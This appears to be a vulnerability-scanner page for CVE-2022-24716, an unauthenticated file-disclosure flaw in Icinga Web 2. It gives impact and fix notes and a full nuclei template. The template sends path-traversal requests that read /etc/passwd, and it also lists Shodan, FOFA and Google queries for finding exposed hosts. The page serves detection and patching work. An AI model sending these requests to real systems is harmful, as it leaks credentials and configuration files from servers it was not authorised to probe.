Icinga Web 2 - Arbitrary File Disclosure

highseverity

7.5CVSS score

89.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Unauthenticated users can leak the contents of files of the local system accessible to the web-server user, including `icingaweb2` configuration files with database credentials.

Impact

The vulnerability can lead to unauthorized access to sensitive information, potentially exposing credentials, configuration files, and other sensitive data.

Fix

This issue has been resolved in versions 2.9.6 and 2.10 of Icinga Web 2. Database credentials should be rotated.

How to confirm it

Send: GET {{BaseURL}}/lib/icinga/icinga-php-thirdparty/etc/passwd ; GET {{BaseURL}}/icinga2/lib/icinga/icinga-php-thirdparty/etc/passwd ; GET {{BaseURL}}/icinga-web/lib/icinga/icinga-php-thirdparty/etc/passwd
Positive when: contains in header "text/plain" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-24716 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-24716

info:
  name: Icinga Web 2 - Arbitrary File Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Unauthenticated users can leak the contents of files of the local system accessible to the web-server user, including `icingaweb2` configuration files with database credentials.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive information, potentially exposing credentials, configuration files, and other sensitive data.
  remediation: This issue has been resolved in versions 2.9.6 and 2.10 of Icinga Web 2. Database credentials should be rotated.
  reference:
    - https://github.com/JacobEbben/CVE-2022-24716/blob/main/exploit.py
    - http://packetstormsecurity.com/files/171774/Icinga-Web-2.10-Arbitrary-File-Disclosure.html
    - https://github.com/Icinga/icingaweb2/commit/9931ed799650f5b8d5e1dc58ea3415a4cdc5773d
    - https://github.com/Icinga/icingaweb2/security/advisories/GHSA-5p3f-rh28-8frw
    - https://security.gentoo.org/glsa/202208-05
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24716
    cwe-id: CWE-22
    epss-score: 0.89378
    epss-percentile: 0.99787
    cpe: cpe:2.3:a:icinga:icinga_web_2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: icinga
    product: icinga_web_2
    shodan-query:
      - title:"Icinga"
      - http.title:"icinga"
      - http.title:"icinga web 2 login"
    fofa-query:
      - title="icinga web 2 login"
      - title="icinga"
    google-query:
      - intitle:"icinga"
      - intitle:"icinga web 2 login"
  tags: cve,cve2022,packetstorm,icinga,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/lib/icinga/icinga-php-thirdparty/etc/passwd"
      - "{{BaseURL}}/icinga2/lib/icinga/icinga-php-thirdparty/etc/passwd"
      - "{{BaseURL}}/icinga-web/lib/icinga/icinga-php-thirdparty/etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from